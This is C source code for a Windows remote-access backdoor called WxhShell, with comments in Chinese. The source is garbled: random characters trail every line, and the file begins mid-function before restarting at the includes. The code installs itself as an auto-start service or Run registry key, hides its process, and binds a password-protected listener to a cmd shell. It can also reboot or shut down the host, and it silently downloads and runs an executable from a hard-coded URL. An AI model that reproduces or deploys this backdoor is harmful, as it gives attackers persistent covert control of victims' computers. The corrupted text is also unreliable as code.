    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %VzKqh  
    else { fLSXPvm  
    closesocket(wsh); ,*&G1|_6  
    ExitThread(0); R+nMy=I%8  
    } fwrJ!j  
    break; "t({D   
    } 5DXR8mLoaJ  
  // 获取shell ~7$&WzD  
  case 's': { ^qg?6S4  
    CmdShell(wsh); L7= Q<D<  
    closesocket(wsh); "6R 5+  
    ExitThread(0); z >YFyu#LF  
    break; Aub]IO~  
  } -b9;5eS!  
  // 退出 $we]91(: :  
  case 'x': { 2RqbrY n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e$u4vC~  
    CloseIt(wsh); za:a)U^n  
    break; 'WI^nZM  
    } ybeKiv9  
  // 离开 Yly@ww9t|  
  case 'q': { ,h{A^[yl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {&P FXJ  
    closesocket(wsh); ?Zc"C  
    WSACleanup(); Rx*BwZ  
    exit(1); Vs)--t  
    break; >_c5r?]SG  
        } P+!"wX0*N  
  } i]=&  
  } EyI}{6~F  
Ti2Ls5H}  
  // 提示信息 `} m Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v?0r`<Mn  
} &-czStQ  
  } [U@ *1  
WYIQE$SEv  
  return; sK"9fU  
} yf?h#G%24  
-*~CV:2iq-  
// shell模块句柄 N7b1.]<  
int CmdShell(SOCKET sock) :d0Y%vl  
{ /wxE1][.  
STARTUPINFO si; hY*0aZ|(  
ZeroMemory(&si,sizeof(si)); &n[~!%(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i\4hR?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KJ?y@Q  
PROCESS_INFORMATION ProcessInfo; +B'8|5tPX  
char cmdline[]="cmd"; .fi/I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4<lQwV6=  
  return 0; B aO1/zk  
} Tzt,/e  
[L6w1b,  
// 自身启动模式 ^9_U Uzf\  
int StartFromService(void) c(U  
{ [w0/\]o  
typedef struct @v}B6j b;  
{ LuR,f"%2  
  DWORD ExitStatus; )jCo%P/  
  DWORD PebBaseAddress; d'*]ns  
  DWORD AffinityMask; TgTnqR@/  
  DWORD BasePriority; V $|<  
  ULONG UniqueProcessId; sow d`I~  
  ULONG InheritedFromUniqueProcessId; 4J|t?]ij|E  
}   PROCESS_BASIC_INFORMATION; YC=S5;  
3IR ^  
PROCNTQSIP NtQueryInformationProcess; /({;0I*!i  
B_ja&) !s1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .}k(L4T|=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nx:KoB"ny  
FP#FB$eP  
  HANDLE             hProcess; .lBgp=!  
  PROCESS_BASIC_INFORMATION pbi; 1[E#vdbT  
4Hb $0l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aup6?'G;  
  if(NULL == hInst ) return 0; dI*'!wK  
DY{cQb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0G <hn8>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KtB!"yy#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z?NEO>h7  
Nwc!r (  
  if (!NtQueryInformationProcess) return 0; joXfmHB}  
16X@^j_   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P F`rWw  
  if(!hProcess) return 0; {SZ% Xbo  
<w>/^|]#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Pwx~[<1""  
LF?P> 1%-  
  CloseHandle(hProcess); ~:lKS;PRuK  
o5Y2vmz?9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F52B~@ .  
if(hProcess==NULL) return 0; _Mc>W0'5@  
"BVdPSDBk  
HMODULE hMod; lFUWV)J\  
char procName[255]; h(B,d,q"  
unsigned long cbNeeded; TFR( 4W  
9Bdt(}0A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E2AW7f(/  
Nt:8ogk/  
  CloseHandle(hProcess); kax\h  
W3&tJ8*3  
if(strstr(procName,"services")) return 1; // 以服务启动 'P laMOy  
ciMM^ZRIb  
  return 0; // 注册表启动 D H^T x  
} J$9:jE-4  
PzZZ>7_6S  
// 主模块 V5D2\n3A  
int StartWxhshell(LPSTR lpCmdLine) }:z5t,u6  
{ `nJu?5  
  SOCKET wsl; Y\+KoR' ;  
BOOL val=TRUE; [m'CR 4(|  
  int port=0; 2.Yi( r  
  struct sockaddr_in door; HFo-4"  
O'NW Ebl/  
  if(wscfg.ws_autoins) Install(); &hV Zx  
!OcENV  
port=atoi(lpCmdLine); ,Vd7V}t  
0{^H]Y  
if(port<=0) port=wscfg.ws_port; x.$1<w64t  
Qbeeq6  
  WSADATA data; 7ODaX.t->  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WxGSv#u  
$R^AEa7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q;h3v1GC\P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |@j _2Q,  
  door.sin_family = AF_INET; +&ZX$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .~=HgOJ  
  door.sin_port = htons(port); >O]s&34  
:a3LS|W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )%Y IGV;&  
closesocket(wsl); :DkAQ-<~  
return 1; ~fzuwz  
} dl l%4Sd  
noNm^hFL  
  if(listen(wsl,2) == INVALID_SOCKET) { BH@b1}  
closesocket(wsl); UP2.]B!d  
return 1; */OI *{Q  
} %85Icg  
  Wxhshell(wsl); :#="%  
  WSACleanup(); L>Jd7; =  
rOl6lQW  
return 0; FfMnul  
V!|e#}1 /  
} SFjU0*B$  
=^h~!ovj:  
// 以NT服务方式启动 Fa3gJ[ZAqf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S|R|]J|  
{ 3@5p"X  
DWORD   status = 0; j%&  IL0  
  DWORD   specificError = 0xfffffff; xRDiRj  
&K:' #[3V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #iis/6"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m/USC'U%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tLX,+P2|  
  serviceStatus.dwWin32ExitCode     = 0; *,#q'!Hq  
  serviceStatus.dwServiceSpecificExitCode = 0; IftxSaP  
  serviceStatus.dwCheckPoint       = 0; +T_ p8W+j  
  serviceStatus.dwWaitHint       = 0; o;J;*~g  
#i@h{ R01  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %!.M~5mCd  
  if (hServiceStatusHandle==0) return; t 6u-G+}  
4/wwn6I}G  
status = GetLastError(); {^&@g kYY  
  if (status!=NO_ERROR) aIvBY78o  
{ )teFS %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %my  
    serviceStatus.dwCheckPoint       = 0; DBbc|I/[l  
    serviceStatus.dwWaitHint       = 0; LXhaD[1Rb  
    serviceStatus.dwWin32ExitCode     = status; Qp:6= o0:  
    serviceStatus.dwServiceSpecificExitCode = specificError; d$1 #<-yP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4nX(:K}>  
    return; %"7WXOv&z  
  } dl[ob,aCK  
boQ)fV"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rB]W,8~%  
  serviceStatus.dwCheckPoint       = 0; *Wyl2op6  
  serviceStatus.dwWaitHint       = 0; sQk|I x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yMIT(  
} =Nl5{qYz^&  
kEK[\f VE  
// 处理NT服务事件,比如:启动、停止 k@q Wig  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B 1w0cS%%:  
{ !Q[}s #g  
switch(fdwControl) ;?im(9h"v!  
{ aR(E7mXQ  
case SERVICE_CONTROL_STOP: f4]&pcK  
  serviceStatus.dwWin32ExitCode = 0; U6i~A9;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +G!v!(Ob+  
  serviceStatus.dwCheckPoint   = 0;  [y{E  
  serviceStatus.dwWaitHint     = 0; ~PUsgL^  
  { =49o U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !d4HN.a7+u  
  } #1l7FT?q  
  return; 5LMj!)3  
case SERVICE_CONTROL_PAUSE: !V( `ZH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oYq,u@oM  
  break; ^_w*XV  
case SERVICE_CONTROL_CONTINUE: @aB9%An1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }=pOiILvD  
  break; QV)}3pW  
case SERVICE_CONTROL_INTERROGATE: Gm@iV,F%R  
  break; T{ nQjYb?  
}; r } 7:#XQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ib Ue*Z["1  
} F^TAd  
D%GGu"@GO  
// 标准应用程序主函数 ~j}J<4&OvC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]S]"`;Wh  
{ GEi MmH?  
)_pt*xo  
// 获取操作系统版本 K50t%yu#T]  
OsIsNt=GetOsVer(); nL\ZId  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nh.b/\o  
zg0%>iqO  
  // 从命令行安装 rIp'vy S\p  
  if(strpbrk(lpCmdLine,"iI")) Install(); gN\*Y  
s;>VeD)*)  
  // 下载执行文件 `Of[{.Q  
if(wscfg.ws_downexe) { 6BPAux.]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cji#?!Ra?  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rf8:+d[Jj|  
} b60[({A\s&  
b#}t:yy  
if(!OsIsNt) { ?k w/S4  
// 如果时win9x,隐藏进程并且设置为注册表启动 (l;C%O7*  
HideProc(); YZ{jP?x  
StartWxhshell(lpCmdLine); :>ZzP:QD  
} T"A^[ r*  
else t!l/`e%J  
  if(StartFromService()) <!hpfTz*  
  // 以服务方式启动 <dJIq"){  
  StartServiceCtrlDispatcher(DispatchTable); CMKhS,,o  
else 9M0d+:YJ  
  // 普通方式启动 7Ff?Ysr  
  StartWxhshell(lpCmdLine); Ahd\TH  
x{QBMe`  
return 0; B^Bbso'{1  
} I-,Xwj-  
?V6 %>RU  
I<9n(rA  
){jqfkL  
=========================================== D;J|eC>^  
S].Ft/+H  
"h`54 }0  
# s,Y% Bce  
6BR \iZ  
u[: P  
" U !.~XT=  
0~:e SWz=  
#include <stdio.h> M@5KoMsB9  
#include <string.h> +0dQORo  
#include <windows.h> O '@m4@L   
#include <winsock2.h> 0\ZaMu #  
#include <winsvc.h> wFn@\3%l`  
#include <urlmon.h> AE]i V{p  
)fy <P;g  
#pragma comment (lib, "Ws2_32.lib") ~t$mw,  
#pragma comment (lib, "urlmon.lib") A &;EV#]ge  
Y]M^n&f  
#define MAX_USER   100 // 最大客户端连接数 ;*"!:GR%h  
#define BUF_SOCK   200 // sock buffer ''%;EW>  
#define KEY_BUFF   255 // 输入 buffer *u<rU,C8  
giQ{Xrj  
#define REBOOT     0   // 重启 h<Jc;ht  
#define SHUTDOWN   1   // 关机 J]$er0`LY  
)Xq@v']%~9  
#define DEF_PORT   5000 // 监听端口 HgS<Vxmq  
65;|cmjv  
#define REG_LEN     16   // 注册表键长度 4LJ]l:m  
#define SVC_LEN     80   // NT服务名长度 zuU Q."#i  
A-X  
// 从dll定义API Ny]'RS-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Kg|f~InO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !~ BZHi6\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2Ti" s-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3"f)*w7d  
DBLA% {05  
// wxhshell配置信息 |K'Gw}fX/  
struct WSCFG { ,^n-L&  
  int ws_port;         // 监听端口 3j]UEA^  
  char ws_passstr[REG_LEN]; // 口令 C,9)V5!tP2  
  int ws_autoins;       // 安装标记, 1=yes 0=no B#| Z`mZ  
  char ws_regname[REG_LEN]; // 注册表键名 :Pj W:]  
  char ws_svcname[REG_LEN]; // 服务名 g?w2J6Z.`J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M" xZz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JTSq{NN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xI-=t ib  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t5I^1u6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C+X)">/+L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7=$+k]U8  
l6',  
}; Y] D7i?3N  
3D]2$a_d  
// default Wxhshell configuration Mp]yKl  
struct WSCFG wscfg={DEF_PORT, M@',3  
    "xuhuanlingzhe", .vCY%0oE  
    1, =# k<Kw#  
    "Wxhshell", deR$  
    "Wxhshell", L$oia)%t-  
            "WxhShell Service", N |OMj%Uk  
    "Wrsky Windows CmdShell Service", 7KvXTrN!9  
    "Please Input Your Password: ", CsJ)Z%4_  
  1, -d$8WSI 8  
  "http://www.wrsky.com/wxhshell.exe", MLkL.1eGSb  
  "Wxhshell.exe" >cGh|_9  
    }; P-/XYZ]`  
Z?!JV_K  
// 消息定义模块 {m?K2]](  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K> c8r8!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D[?k ,*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (#f m (@T  
char *msg_ws_ext="\n\rExit."; ccHLL6F{  
char *msg_ws_end="\n\rQuit."; H1aV}KD  
char *msg_ws_boot="\n\rReboot..."; ?Zc/upd:$N  
char *msg_ws_poff="\n\rShutdown..."; >reaIBT  
char *msg_ws_down="\n\rSave to "; d~togTs1  
yYxeNE"  
char *msg_ws_err="\n\rErr!"; 5`1(}  
char *msg_ws_ok="\n\rOK!"; f_Wkg)g  
+YGw4{\EL  
char ExeFile[MAX_PATH]; _A@fP[C  
int nUser = 0; zhVa.r A  
HANDLE handles[MAX_USER]; G\'u~B/w  
int OsIsNt; ` <l/GwtAJ  
2eZk3_w  
SERVICE_STATUS       serviceStatus; PfwI@%2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $V`KrA~]  
&=+cov(3  
// 函数声明 M<SbVP|V "  
int Install(void); el2*\(XT  
int Uninstall(void); t 1Ir4  
int DownloadFile(char *sURL, SOCKET wsh); U}A|]vi@  
int Boot(int flag); u7<qaOzs?  
void HideProc(void); Q1O_CC}  
int GetOsVer(void); 2uJNc!&  
int Wxhshell(SOCKET wsl); iylBK!ou  
void TalkWithClient(void *cs); kT Z?+hx  
int CmdShell(SOCKET sock); @2GhN&=  
int StartFromService(void); 3*X, {%  
int StartWxhshell(LPSTR lpCmdLine); >|UrxJ7  
* zw R=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cJ7{4YK_#/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a in#_H  
@);!x41f  
// 数据结构和表定义 73^ T*  
SERVICE_TABLE_ENTRY DispatchTable[] = imJ[:E  
{ F_p3:l  
{wscfg.ws_svcname, NTServiceMain}, [9db=$v8$  
{NULL, NULL} gL[1wM%?  
}; XEvGhy#  
;Sx'O  
// 自我安装 Dr8WV \4@  
int Install(void) d'lr:=GQ  
{ 7\\~xSXh  
  char svExeFile[MAX_PATH]; ex@,F,u>o  
  HKEY key; h a,=LV  
  strcpy(svExeFile,ExeFile); yL.PGF1(  
-H ac^4uF  
// 如果是win9x系统,修改注册表设为自启动 EMVoTW)z  
if(!OsIsNt) { =ELDJt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *MnG-\{j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D^N#E>,  
  RegCloseKey(key); BST7y4R)BS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q}=W>|aE.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lJGqR0:r+  
  RegCloseKey(key); !BvTJ-e)F  
  return 0; ,E/Y@sajn+  
    } (.@p4q Q-  
  } (_i vN  
} _v~D {H&}  
else { ')~Y  
7T|J[W O  
// 如果是NT以上系统,安装为系统服务 'o)ve(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $tt0D?$4  
if (schSCManager!=0) oqd N5+xt  
{ M3jv aI  
  SC_HANDLE schService = CreateService E1{:z"  
  ( 1a=9z'8V  
  schSCManager, YP$*;l  
  wscfg.ws_svcname, @LW xz  
  wscfg.ws_svcdisp, ]Jq k C4|  
  SERVICE_ALL_ACCESS, Bp$+ F/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gvTOC F  
  SERVICE_AUTO_START, iX>!ju'V  
  SERVICE_ERROR_NORMAL, kYI(<oTY~  
  svExeFile, zT4ulXN  
  NULL, 9znx1AsN  
  NULL, 8}pcanPg  
  NULL, ?5r2j3mqgv  
  NULL, C<wj?!v,F[  
  NULL },Y; (n'  
  ); (IWix){  
  if (schService!=0) FVC2XxP  
  { <*r<+S   
  CloseServiceHandle(schService); }n2-*{)x  
  CloseServiceHandle(schSCManager); aaqd:N)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O{i_?V_  
  strcat(svExeFile,wscfg.ws_svcname); &JXHDpd$a^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U>plv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ot>EnHfV  
  RegCloseKey(key); \yX !P1  
  return 0; zI2KIXcc  
    } e>vUkP y  
  } bE`*Uw4  
  CloseServiceHandle(schSCManager); XoxR5arj  
} e`Zg7CaDd  
} f5=t*9_-[  
?D~SHcBaN  
return 1; io+7{B=u$  
} nnd-pf-  
1{Alj27  
// 自我卸载 4_m /_Z0x  
int Uninstall(void) ]|$$:e^U9  
{ \_I)loPc8  
  HKEY key; vN%j-'D\A4  
'j"N2NJ  
if(!OsIsNt) { P8,{k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6JFDRsX>)?  
  RegDeleteValue(key,wscfg.ws_regname); N>}K+M>  
  RegCloseKey(key); {OhkuON  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H-cBXp5z  
  RegDeleteValue(key,wscfg.ws_regname); R !%m5Q?5  
  RegCloseKey(key); ?k:])^G5  
  return 0; Er/5 ,  
  } Tm:#"h\F  
} (E1>}  
} Q@ )rw0$  
else { -g[*wN8  
)[M<72  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *liPJ29C[  
if (schSCManager!=0) 0h@%q;g  
{ 0)`lx9&h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #Hn yE+tD  
  if (schService!=0) zIQc#F6\5  
  { im?XXsH'  
  if(DeleteService(schService)!=0) { xu?QK6D:  
  CloseServiceHandle(schService); [A..<[  
  CloseServiceHandle(schSCManager); |phWK^   
  return 0; (Y.$wMB  
  } uQ%HLL-W/  
  CloseServiceHandle(schService); *UL|{_)c  
  } ^qus `6  
  CloseServiceHandle(schSCManager); CMG`'gT  
} r4NT`&`g?  
} 2E ; %=e  
,^IZ[D>u)  
return 1; HlL@{<  
} 2-E71-J  
{O&liU4  
// 从指定url下载文件 Lj Q1ar\  
int DownloadFile(char *sURL, SOCKET wsh) +81+4{*  
{ g/X=#!  
  HRESULT hr; 33KPo0g7  
char seps[]= "/"; h'y@M+c(  
char *token; [ rQ(ae  
char *file; wIR[2&b  
char myURL[MAX_PATH]; 13&>w{S}  
char myFILE[MAX_PATH]; K<L%@[gi  
^$Io;*N4  
strcpy(myURL,sURL); e$^!~+J7  
  token=strtok(myURL,seps); ]o+|jgkt]  
  while(token!=NULL) ,/b/O4`;y  
  { F+$@3[Q`N  
    file=token; @[b:([  
  token=strtok(NULL,seps); ty< tv|p  
  } lPN< rgg  
8`~3MsE"  
GetCurrentDirectory(MAX_PATH,myFILE); E)_!Hi0<s  
strcat(myFILE, "\\"); =+-.5M  
strcat(myFILE, file); KZ}4<{3  
  send(wsh,myFILE,strlen(myFILE),0); WfbNar[  
send(wsh,"...",3,0); W>|b98NPu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3Q~&xNf  
  if(hr==S_OK) P_lcX;O  
return 0; >T*g'954xF  
else n`KXJ?t  
return 1; |AfQ_iT6c  
\\G6c4 fC  
} ,M h/3DPgE  
O/^w! :z'  
// 系统电源模块 dDn4nwH  
int Boot(int flag) PRlo"kN  
{ 8v=47G  
  HANDLE hToken; IC-xCzR  
  TOKEN_PRIVILEGES tkp; y{?jr$js<  
FuiW\=^  
  if(OsIsNt) { {uM{5GSL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;_\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pbvEIa-Y4  
    tkp.PrivilegeCount = 1; 5)v^ cR?&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gwz _b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); udy;Odt  
if(flag==REBOOT) { h%^kA@3F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6:z&ukq E  
  return 0; 3L]^x9Cu)  
} )Q j9kJq  
else { Q0; gF?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4$2T zJE  
  return 0; }Z? [Ut  
} Tc(v\|F,  
  } r= | |sZs  
  else { V dOd:w  
if(flag==REBOOT) { $q$\GOQ 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) . _t,OX$  
  return 0; +sluu!~  
} RR[TW;  
else { bNU^tL3QZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,UZE;lXJ'Q  
  return 0; KJC9^BAr  
} *3 8Y;{ 4  
} |#jm=rT0y  
a4.: i  
return 1; KdpJ[[Ug/  
} ZL@DD(S-/  
\ g(#)f  
// win9x进程隐藏模块 (*Q|;  
void HideProc(void) YY<?w  
{ ^k<$N  
RWQW/Gw x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Q<ExfJm  
  if ( hKernel != NULL ) QGj5\{E_  
  { gq1Y]t|4F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |M>k &p,B-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4H? Ma|,  
    FreeLibrary(hKernel); CPeK0(7Zh  
  } I3$vw7}5Y  
WA\f`SRF  
return; +i!M[  
} FEmlC,%  
gj;G:;1m  
// 获取操作系统版本 uWj-tzu  
int GetOsVer(void) 76r s)J[*w  
{ F_ Cz  
  OSVERSIONINFO winfo; _-\{kJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &LQab>{*K  
  GetVersionEx(&winfo); TC#B^m`'p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2U+p@}cQUA  
  return 1; Ol[IC  
  else <!(n5y_  
  return 0; CHw_?#h  
} O~ 0 1)%  
#p`7gFl  
// 客户端句柄模块 , tj7'c$0  
int Wxhshell(SOCKET wsl) L^s;kkB  
{ 8J1.(Mwb?  
  SOCKET wsh; J*C*](  
  struct sockaddr_in client; ]LOtwY  
  DWORD myID; }jgAV  
aKtTx~$@  
  while(nUser<MAX_USER) B :.;:AEbT  
{ Ud*[2Oi|R  
  int nSize=sizeof(client); <ijmkNVS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z[bC@y[Wb  
  if(wsh==INVALID_SOCKET) return 1; }0>/G?2Yp  
PW4Wn`u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "TJ^Z!  
if(handles[nUser]==0) c6)zx b  
  closesocket(wsh); kxwm08/|f  
else 97dI4 t<  
  nUser++; YDD]n*&  
  } ADz|Y~V!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +[[gU;U"v  
hzo,.hS's  
  return 0; :/l   
} 1&"1pH  
0^Cx`xdX:  
// 关闭 socket S c Kfr  
void CloseIt(SOCKET wsh) tb\pjLB][  
{ 8!>pFVNJf  
closesocket(wsh); 6D(m8  
nUser--; ,sl.:C4  
ExitThread(0); ^D[;JV  
} k>hZ  
k8V0-.UL}  
// 客户端请求句柄 U.(_n  
void TalkWithClient(void *cs) r1atyK  
{ 1dsxqN(:  
'=* 5C{  
  SOCKET wsh=(SOCKET)cs; Ft !~w#&-  
  char pwd[SVC_LEN]; 59 Y=VS  
  char cmd[KEY_BUFF]; ;gV8f{X{Z  
char chr[1]; H4Ek,m|c  
int i,j; L1i> %5:g  
)D*xOajo+l  
  while (nUser < MAX_USER) { &W!@3O{~.  
a<.@+sj{  
if(wscfg.ws_passstr) { iNSJOS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V'/%)oU\"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \0*LfVr;P  
  //ZeroMemory(pwd,KEY_BUFF); a $:N9&P  
      i=0; c'R|Wyf  
  while(i<SVC_LEN) { ^]gl#&"D  
{'kL]qLg  
  // 设置超时 pBkPn+@  
  fd_set FdRead; =^vUb  
  struct timeval TimeOut; 3)\qt s5  
  FD_ZERO(&FdRead); _4Pi>  
  FD_SET(wsh,&FdRead); Hefqzu  
  TimeOut.tv_sec=8; {!h[@f4  
  TimeOut.tv_usec=0; 3om-,gfZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .R5z>:A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j(JI$  
Y,~]ecI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <~w#sIh  
  pwd=chr[0]; X ii#Qtd.  
  if(chr[0]==0xd || chr[0]==0xa) { IA `  
  pwd=0; LJ3UB  
  break; D I[Ee?  
  } 'L/TaP/3  
  i++; 8 K!a:{  
    } ~O$]y5  
kw'D2692  
  // 如果是非法用户,关闭 socket d o7{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xE_[ = 7=  
} xW~@V)OH  
8w' 8n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oZtz"B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # 95/,k  
h+@t8Q;gGw  
while(1) { \gpKQt0  
|\t_I~de  
  ZeroMemory(cmd,KEY_BUFF); g*M3;G  
O~VUViS6$  
      // 自动支持客户端 telnet标准   WgB,,L,  
  j=0; owhht98y(  
  while(j<KEY_BUFF) { Rim}DfO/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &YNhKm@"  
  cmd[j]=chr[0]; \O~7X0 <W  
  if(chr[0]==0xa || chr[0]==0xd) { _P:P5H8  
  cmd[j]=0; *p^MAk9=  
  break; |t_2AV  
  } B#yyO>0k]  
  j++; {r)M@@[  
    } ,P+&-}gn9  
is$d<Y&F  
  // 下载文件 m<4Lo0?nS  
  if(strstr(cmd,"http://")) { ZxW V ,s&p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Op{Mc$5a  
  if(DownloadFile(cmd,wsh)) /o2eKx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."O(Ig[  
  else ,e,{6Sg6gl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0m;|Ai'W  
  } edQ><lz  
  else { jg(A_V  
iDsjIW\j  
    switch(cmd[0]) { 9^tyjX2  
  C#R9Hlb  
  // 帮助 hCgNS1%4  
  case '?': { .^23qCs  
